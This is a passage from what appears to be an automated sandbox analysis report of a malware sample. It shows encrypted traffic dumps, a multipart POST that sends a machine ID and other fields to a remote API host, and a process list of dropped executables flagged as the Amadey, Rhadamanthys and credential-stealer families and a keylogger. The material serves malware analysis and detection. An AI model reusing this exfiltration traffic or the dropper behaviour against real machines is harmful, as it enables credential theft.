3530NQFnG7s5feS4ROOAPPu/mnOvOzpKTsBYVchEHG3shpdOIxE5gQ1RxsshwbpIicr/X41aXmh0pjk5uyEwT5rrtQ9nBnfIXFHG3TzBumeAnf8djQEYLySiOTmqJXcCnOr0XW0Ac95aGYXUKYblWZrV9BrCU1doYuI9L+p+PiCJ8vZ4YBRwmURRn5ohjaIG2d7/EcNdXiEmqDAxqyB2HYXg/11jA3LUUw2I3i6N41OanbZRykEYcGzx
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 43 44 53 37 4e 32 73 43 6e 75 4b 31 53 43 30 63 4f 64 35 58 58 39 36 61 4c 6f 33 73 57 35 72 53 2f 78 44 4e 53 31 63 6f 4c 36 6f 79 4d 36 41 70 63 51 43 41 37 76 4a 66 61 67 4a 32 33 6c 4d 5a 69 64 6c 6d 7a 36 4a 5a 67 5a 32 67 55 65 31 4a 57 79 73 34 72 79 74 33 74 57 68 6e 54 34 6e 6f 74 51 38 6a 41 33 66 59 56 68 2b 55 30 69 32 4b 35 30 79 53 31 50 55 63 7a 56 52 53 4a 79 2b 69 50 54 32 67 4b 58 51 4c 67 2b 6e 7a 56 32 4e 46 4e 35 6c 63 42 38 61 43 5a 71 4c 6e 54 70 37 52 37 6c 50 33 47 55 64 6d 4e 65 49 39 4f 2b 70 2b 50 67 65 4c 35 2f 5a 63 62 41 5a 78 30 6b 6b 66 6c 4e 77 72 68 50 42 59 6e 4e 50 79 45 74 39 54 56 69 34 76 71 7a 45 2b 72 79 46 36 54 38 43 6b 38 6b 38 6a 58 54 6e 34 56 68 53 4b 30 44 47 42 6f 6b 48 58 78 4c 67 57 77 52 6b 41 61 43 69 Data Ascii: CDS7N2sCnuK1SC0cOd5XX96aLo3sW5rS/xDNS1coL6oyM6ApcQCA7vJfagJ23lMZidlmz6JZgZ2gUe1JWys4ryt3tWhnT4notQ8jA3fYVh+U0i2K50yS1PUczVRSJy+iPT2gKXQLg+nzV2NFN5lcB8aCZqLnTp7R7lP3GUdmNeI9O+p+PgeL5/ZcbAZx0kkflNwrhPBYnNPyEt9TVi4vqzE+ryF6T8Ck8k8jXTn4VhSK0DGBokHXxLgWwRkAaCi
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 47 5a 35 46 38 36 38 74 58 31 67 45 58 72 54 47 53 71 46 31 43 69 47 39 42 36 47 6b 2b 46 52 79 6c 55 59 63 47 79 76 4f 7a 2b 73 4e 48 45 43 6a 65 72 37 57 47 59 4b 63 64 6c 62 45 6f 50 65 4c 59 72 68 55 35 33 50 38 68 48 46 58 46 6b 69 4a 75 4a 30 64 36 30 2b 50 6c 66 4f 31 65 4a 63 49 54 42 36 31 31 55 59 6b 4a 6f 35 7a 2f 73 65 6e 74 47 34 53 59 31 55 55 43 30 70 72 54 73 39 70 43 4e 30 41 34 62 71 39 6b 56 73 41 58 6e 56 55 78 57 4c 31 43 4b 4a 36 31 57 53 32 2f 67 51 78 78 6b 57 61 43 75 36 65 6d 2f 71 45 6e 6b 44 67 2b 75 33 59 6d 41 4c 64 39 35 4e 58 35 6d 55 50 38 48 6c 55 74 6d 46 75 42 33 45 57 56 4d 69 4b 4b 49 39 4f 71 38 6c 65 51 79 44 34 2f 39 5a 5a 41 46 31 30 46 59 5a 68 74 30 69 68 50 42 62 6b 4e 48 30 55 59 4d 5a 58 7a 42 73 2b 6e 6f 59 Data Ascii: GZ5F868tX1gEXrTGSqF1CiG9B6Gk+FRylUYcGyvOz+sNHECjer7WGYKcdlbEoPeLYrhU53P8hHFXFkiJuJ0d60+PlfO1eJcITB611UYkJo5z/sentG4SY1UUC0prTs9pCN0A4bq9kVsAXnVUxWL1CKJ61WS2/gQxxkWaCu6em/qEnkDg+u3YmALd95NX5mUP8HlUtmFuB3EWVMiKKI9Oq8leQyD4/9ZZAF10FYZht0ihPBbkNH0UYMZXzBs+noY
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 66 4f 37 66 78 46 62 51 74 77 31 46 30 58 67 64 51 72 69 75 52 56 6e 74 72 2b 48 4d 56 55 58 53 73 74 70 6a 41 6c 71 53 31 30 41 6f 53 6b 75 78 64 6b 48 54 6d 42 47 7a 69 4b 38 7a 61 61 38 45 6a 5a 77 72 59 49 6a 56 35 55 61 48 54 69 4f 54 69 6a 4b 58 59 48 67 65 76 78 57 57 55 44 64 4e 78 55 46 5a 54 53 4b 49 7a 70 55 5a 4c 50 2b 42 7a 4a 56 56 77 67 4a 36 68 36 65 65 6f 68 5a 6b 2f 57 70 4d 42 61 62 41 56 36 7a 78 73 41 79 4d 4e 6d 68 75 34 65 77 5a 33 30 48 38 31 57 56 43 51 6e 71 6a 73 37 70 43 46 37 42 6f 62 73 35 31 5a 6e 44 58 6a 58 56 42 36 43 33 79 4f 46 35 56 71 66 30 72 68 66 6a 56 35 41 61 48 54 69 46 52 43 66 5a 46 38 31 7a 76 75 37 54 69 4d 43 64 5a 6b 44 58 34 72 5a 4b 6f 6e 74 57 4a 44 52 38 68 6a 47 56 56 4d 73 49 4b 73 2f 4d 61 73 6a 65 Data Ascii: fO7fxFbQtw1F0XgdQriuRVntr+HMVUXSstpjAlqS10AoSkuxdkHTmBGziK8zaa8EjZwrYIjV5UaHTiOTijKXYHgevxWWUDdNxUFZTSKIzpUZLP+BzJVVwgJ6h6eeohZk/WpMBabAV6zxsAyMNmhu4ewZ30H81WVCQnqjs7pCF7Bobs51ZnDXjXVB6C3yOF5Vqf0rhfjV5AaHTiFRCfZF81zvu7TiMCdZkDX4rZKontWJDR8hjGVVMsIKs/Masje
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 38 52 57 30 49 64 74 46 54 46 6f 66 65 49 34 7a 6b 55 70 50 63 2f 78 2f 44 55 52 68 6d 62 4b 55 69 64 2f 4a 6d 58 78 2b 56 39 75 4e 61 51 67 68 32 6d 55 52 52 6e 35 6f 68 6a 61 49 47 32 64 54 71 46 63 42 4c 55 53 38 69 72 54 6b 6c 71 79 74 31 48 59 6e 72 38 56 42 76 41 33 62 66 57 68 71 4d 31 69 47 45 36 56 47 56 6e 62 5a 52 79 6b 45 59 63 47 79 4d 4d 53 53 39 4a 58 41 45 6d 50 2b 31 53 43 30 63 4f 64 35 58 58 39 36 61 4a 59 72 70 57 70 6e 52 2b 42 58 41 57 55 6f 6e 4b 36 55 7a 50 4c 67 73 65 51 69 46 37 50 35 59 5a 52 64 31 31 30 6b 61 6c 4d 68 6d 7a 36 4a 5a 67 5a 32 67 55 66 74 65 53 44 67 76 34 41 73 68 71 54 42 31 41 6f 4b 6b 36 68 6c 36 52 58 37 56 47 30 66 47 33 43 6d 49 34 56 47 59 31 50 51 63 79 46 42 64 4b 53 71 6d 4d 44 32 71 49 48 67 4f 69 2b Data Ascii: 8RW0IdtFTFofeI4zkUpPc/x/DURhmbKUid/JmXx+V9uNaQgh2mURRn5ohjaIG2dTqFcBLUS8irTklqyt1HYnr8VBvA3bfWhqM1iGE6VGVnbZRykEYcGyMMSS9JXAEmP+1SC0cOd5XX96aJYrpWpnR+BXAWUonK6UzPLgseQiF7P5YZRd110kalMhmz6JZgZ2gUfteSDgv4AshqTB1AoKk6hl6RX7VG0fG3CmI4VGY1PQcyFBdKSqmMD2qIHgOi+
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 43 54 6d 42 47 78 79 42 32 53 65 4c 36 31 4b 57 32 76 77 44 78 31 35 4b 4b 53 32 70 4e 7a 75 71 4b 33 4d 46 6a 2b 33 34 57 32 34 43 66 74 5a 65 58 38 69 61 49 5a 6d 69 42 74 6e 38 39 52 72 42 41 67 4a 6f 4d 2b 77 6a 64 36 30 71 50 6c 66 4f 35 50 39 53 61 51 68 36 31 6c 67 4e 68 39 77 30 67 65 39 55 69 39 66 7a 46 4d 42 55 56 53 73 71 70 44 45 37 75 43 39 2b 44 49 57 6b 75 78 64 6b 48 54 6d 42 47 7a 79 52 7a 43 79 47 37 6b 69 53 33 50 73 48 77 45 6b 59 5a 6d 79 7a 50 53 62 71 66 6d 67 66 6d 65 50 71 47 58 70 46 66 74 55 62 52 38 62 63 4c 34 66 6c 57 4a 66 50 2f 52 66 43 56 6c 45 68 4b 4b 6f 35 4e 36 34 69 65 51 71 4e 36 50 35 51 59 41 70 39 30 46 55 57 69 5a 70 6f 77 65 56 47 32 59 57 34 4d 4e 5a 61 56 43 56 73 76 58 51 75 36 69 46 79 54 39 61 6b 2b 56 6c Data Ascii: CTmBGxyB2SeL61KW2vwDx15KKS2pNzuqK3MFj+34W24CftZeX8iaIZmiBtn89RrBAgJoM+wjd60qPlfO5P9SaQh61lgNh9w0ge9Ui9fzFMBUVSsqpDE7uC9+DIWkuxdkHTmBGzyRzCyG7kiS3PsHwEkYZmyzPSbqfmgfmePqGXpFftUbR8bcL4flWJfP/RfCVlEhKKo5N64ieQqN6P5QYAp90FUWiZpoweVG2YW4MNZaVCVsvXQu6iFyT9ak+Vl
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 31 34 59 6b 4a 67 54 67 75 78 51 6e 73 75 34 44 76 49 58 47 43 63 32 34 6d 49 4f 73 32 5a 35 41 38 36 38 74 55 4a 6b 42 58 37 44 54 52 69 4b 79 79 32 4d 37 6e 79 57 32 75 34 53 77 6c 70 4a 49 57 43 70 4e 33 66 6b 5a 6e 6b 58 7a 72 79 31 65 47 51 54 65 76 5a 59 44 6f 2b 61 61 4d 48 6c 53 4e 6d 46 75 43 2b 4e 53 31 73 34 4c 36 30 72 43 65 70 2b 5a 7a 48 4f 37 2b 4e 51 63 77 5a 76 30 6c 59 54 6c 2b 52 6d 32 62 59 4d 79 34 2b 71 51 39 49 5a 52 78 64 69 34 6a 74 33 38 68 39 6e 54 35 69 6b 72 51 55 74 52 57 75 5a 41 31 2f 42 32 54 53 54 35 46 32 50 33 72 38 76 38 33 35 4f 49 69 75 79 50 53 43 6c 5a 6a 42 50 67 61 53 74 62 69 4d 4d 66 73 4a 4b 43 59 76 4b 49 63 48 64 45 4e 6e 46 75 45 6d 4e 62 46 73 6d 49 71 55 73 4a 75 63 42 61 41 57 4a 39 50 4a 41 62 45 55 33 Data Ascii: 14YkJgTguxQnsu4DvIXGCc24mIOs2Z5A868tUJkBX7DTRiKyy2M7nyW2u4SwlpJIWCpN3fkZnkXzry1eGQTevZYDo+aaMHlSNmFuC+NS1s4L60rCep+ZzHO7+NQcwZv0lYTl+Rm2bYMy4+qQ9IZRxdi4jt38h9nT5ikrQUtRWuZA1/B2TST5F2P3r8v835OIiuyPSClZjBPgaStbiMMfsJKCYvKIcHdENnFuEmNbFsmIqUsJucBaAWJ9PJAbEU3
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 62 64 4e 70 66 35 45 70 48 65 34 67 76 7a 5a 33 4d 6b 4b 71 55 67 4d 4b 77 41 58 6b 2f 41 70 50 6f 58 4f 7a 77 35 6b 52 73 67 79 4a 6f 2b 77 62 6f 65 72 4e 37 32 48 38 70 50 53 57 55 45 67 51 41 4e 36 41 70 35 47 73 7a 51 38 6b 64 79 44 6e 54 56 47 31 48 47 33 47 62 5a 73 68 44 5a 32 65 6c 52 6c 51 6b 4b 63 33 6e 78 62 57 66 34 4f 54 41 57 7a 76 4b 31 44 7a 46 4c 4f 63 73 62 52 38 61 64 4a 5a 50 77 57 4a 72 4c 2b 31 62 7a 5a 33 38 6d 4b 36 4d 73 4a 37 30 70 51 44 47 62 35 2f 74 5a 5a 42 4e 6f 6d 52 56 66 69 5a 70 2b 75 4b 49 57 32 65 4b 32 55 64 55 5a 41 47 67 5a 6f 54 51 35 72 54 42 76 51 71 6e 71 38 6c 5a 31 46 57 37 57 47 31 48 47 33 47 62 5a 73 42 44 5a 32 65 6c 52 6c 51 6b 4b 63 33 6e 78 62 57 66 34 4f 54 41 57 7a 76 4b 31 44 7a 46 4c 4f 63 73 62 52 Data Ascii: bdNpf5EpHe4gvzZ3MkKqUgMKwAXk/ApPoXOzw5kRsgyJo+wboerN72H8pPSWUEgQAN6Ap5GszQ8kdyDnTVG1HG3GbZshDZ2elRlQkKc3nxbWf4OTAWzvK1DzFLOcsbR8adJZPwWJrL+1bzZ38mK6MsJ70pQDGb5/tZZBNomRVfiZp+uKIW2eK2UdUZAGgZoTQ5rTBvQqnq8lZ1FW7WG1HG3GbZsBDZ2elRlQkKc3nxbWf4OTAWzvK1DzFLOcsbR
2024-12-19 13:11:16 UTC	1369	IN	Data Raw: 43 6f 68 44 5a 30 62 68 4a 6a 56 68 53 4f 43 47 74 50 58 75 74 50 48 6c 50 77 4b 54 37 46 7a 74 46 65 4e 4e 4c 45 6f 6e 64 61 6f 66 73 55 4e 6e 43 74 67 69 4e 54 78 68 77 66 2b 78 36 4a 65 70 2b 50 6b 69 4e 39 75 64 52 59 42 4e 36 6e 6d 55 68 71 38 67 68 6b 65 45 63 71 4e 44 38 42 39 68 61 53 43 38 53 6e 42 63 6c 72 54 5a 39 54 62 2f 79 39 6c 64 74 41 6a 6d 58 47 77 66 47 67 6d 61 73 38 46 6d 4a 33 72 68 66 6a 56 55 59 63 47 79 76 4b 44 43 36 4a 54 49 49 6c 4f 4f 31 53 43 30 63 4f 63 38 62 52 39 57 55 5a 70 4f 69 42 74 6d 61 39 68 7a 4d 57 6c 59 72 50 72 41 38 4e 4c 77 6c 4f 54 47 77 79 65 64 51 63 77 59 37 36 46 59 62 6b 4d 38 6c 6b 65 56 67 70 2f 44 71 46 74 31 61 47 67 51 72 72 7a 59 4a 6c 42 46 76 43 4a 36 6d 30 31 52 31 42 6a 6d 58 47 77 66 47 67 6d Data Ascii: CohDZ0bhJjVhSOCGtPXutPHlPwKT7FztFeNNLEondaofsUNnCtgiNTxhwf+x6Jep+PkiN9udRYBN6nmUhq8ghkeEcqND8B9haSC8SnBclrTZ9Tb/y9ldtAjmXGwfGgmas8FmJ3rhfjVUYcGyvKDC6JTIIlOO1SC0cOc8bR9WUZpOiBtma9hzMWlYrPrA8NLwlOTGwyedQcwY76FYbkM8lkeVgp/DqFt1aGgQrrzYJlBFvCJ6m01R1BjmXGwfGgm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49943	104.21.66.85	443	4916	C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:18 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E0TTGH35GSPVKAGGNK0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18172 Host: aspecteirs.lat
2024-12-19 13:11:18 UTC	15331	OUT	Data Raw: 2d 2d 45 30 54 54 47 48 33 35 47 53 50 56 4b 41 47 47 4e 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 30 54 54 47 48 33 35 47 53 50 56 4b 41 47 47 4e 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 30 54 54 47 48 33 35 47 53 50 56 4b 41 47 47 4e 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e Data Ascii: --E0TTGH35GSPVKAGGNK0Content-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--E0TTGH35GSPVKAGGNK0Content-Disposition: form-data; name="pid"2--E0TTGH35GSPVKAGGNK0Content-Disposition: form-data; name="lid"CVmr0t--in
2024-12-19 13:11:18 UTC	2841	OUT	Data Raw: ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 Data Ascii: e,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)p
2024-12-19 13:11:19 UTC	1134	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vttual0i3nijhsarftl39o50ub; expires=Mon, 14 Apr 2025 06:57:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=73hf%2FqtkeiUKQ0CIqk%2FSBlsf7iTy9QCFi7V%2FzQmG9iEm7n1dl779Rng%2Bmk8R1MSgPYZ66d4%2FIuncYpYLcKUbu0YiNcG9eYBL4CeOHZssqkJadwq9vbnbKjbb8qIWxcGIGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a3471f49438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1599&rtt_var=603&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19133&delivery_rate=1810291&cwnd=169&unsent_bytes=0&cid=29bef4d0b824de28&ts=1000&x=0"
2024-12-19 13:11:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 13:11:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:09:13
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc80000
File size:	3'008'512 bytes
MD5 hash:	EB5E8AF364226452A7B60CFDF34CE69B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1800780125.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:09:17
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x100000
File size:	3'008'512 bytes
MD5 hash:	EB5E8AF364226452A7B60CFDF34CE69B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1849899623.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:09:18
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x100000
File size:	3'008'512 bytes
MD5 hash:	EB5E8AF364226452A7B60CFDF34CE69B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1854950642.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:10:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x100000
File size:	3'008'512 bytes
MD5 hash:	EB5E8AF364226452A7B60CFDF34CE69B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2261378738.0000000004750000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:10:13
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Imagebase:	0xf20000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:10:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Imagebase:	0xa0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:10:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Imagebase:	0x760000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.2465411411.0000000005310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.2457793692.0000000002D43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:10:21
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe"
Imagebase:	0x760000
File size:	1'880'576 bytes
MD5 hash:	FF279F4E5B1C6FBDA804D2437C2DBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2596234102.0000000001447000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:10:34
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe"
Imagebase:	0xd40000
File size:	4'450'816 bytes
MD5 hash:	8A549F15D1418FB4207AADB4BA813A36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:10:42
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe"
Imagebase:	0x670000
File size:	1'988'608 bytes
MD5 hash:	31093EBDC9EA634763874604C07E0F69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2698713474.0000000005000000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2704239901.0000000005230000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:10:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x8e0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000F.00000002.2729033483.0000000003440000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.2715290148.0000000005560000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000F.00000003.2703740052.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:10:47
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 680
Imagebase:	0xc90000
